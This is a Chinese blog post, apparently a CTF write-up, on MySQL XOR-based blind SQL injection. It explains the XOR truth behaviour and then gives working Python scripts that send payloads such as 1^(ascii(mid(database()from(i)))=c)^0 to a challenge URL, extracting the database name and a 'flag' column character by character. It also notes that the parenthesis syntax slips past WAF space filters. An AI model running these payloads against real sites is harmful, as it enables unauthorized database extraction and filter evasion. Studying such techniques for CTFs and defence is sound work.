mysql異或注入

sqlmap對盲注的判斷有所幫助,在真正注入的時候就感覺力不從心,又是需要手寫一些注入的方法,假設(shè)已知表名falg,列名flag,記錄一下mysql異或注入的方法。

0x01 注入原理

異或注入是通過where語句的111來進行判斷和擴展的,首先在mysql里面進行下測試
sql select 1^1^1

mysqlxor1.PNG

sql select 1^1^0

mysqlxor2.PNG

sql select 1^0^0

mysqlxor3.PNG

sql select 0^0^0

mysqlxor4.PNG

通過測試我們可以知道,兩真為假,兩假為真,通過一個輸入值具有正反兩種情況的條件下,這個特性我們可以進行mysql的異或攻擊了。

0x02 具體代碼

注入數(shù)據(jù)庫名

import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ _{}+-*/="

url="http://a7d50de8-a34b-4eb5-987b-73e25e926229.node3.buuoj.cn/index.php"
#session=requests.session()   #如果需要session

def database():
   resutlt=""   
   for i in range(1,30):    
       for j in str_all:    
           playlod="1^(ascii(mid(database()from({})))={})^0".format(str(i),ord(j))    
           data = {   
               "id": playlod  #,   
               #"password": "123"   
           }   
           #s=session.post(url,data)   
           s = requests.post(url,data=data)   
           #print(playlod)    
           #print(s.text)   
           if "Error" in s.text:    
               resutlt+=j    
               print(resutlt)    
               break; 
database()                

通過上述方法可以使用information_schema.tables和information_schema.columns獲取到表名,列名,記得使用group_concat()函數(shù)來連接具體數(shù)據(jù),這里不再貼具體代碼。
我們假設(shè)如果已經(jīng)注入得到了表flag,列flag,具體得到數(shù)據(jù)的代碼如下:

def getValue():
   resutlt=""

   for i in range(29,49):
       for j in str_all:
           #知道表名flag,列名flag

           playlod="1^(ascii(mid((select(flag)from(flag))from({})))={})^0".format(str(i),ord(j))
           data = {
               "id": playlod  #,
               #"password": "123"
           }
           #s=session.post(url,data)

           s = requests.post(url,data=data)
           print(playlod)
           #print(s.text)

           if "Error" in s.text:
               resutlt+=j
               print(resutlt)
               break;

在這里需要注意mid函數(shù)中括號的用法,這樣的寫法可以繞過多種waf,比如空格等情況。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容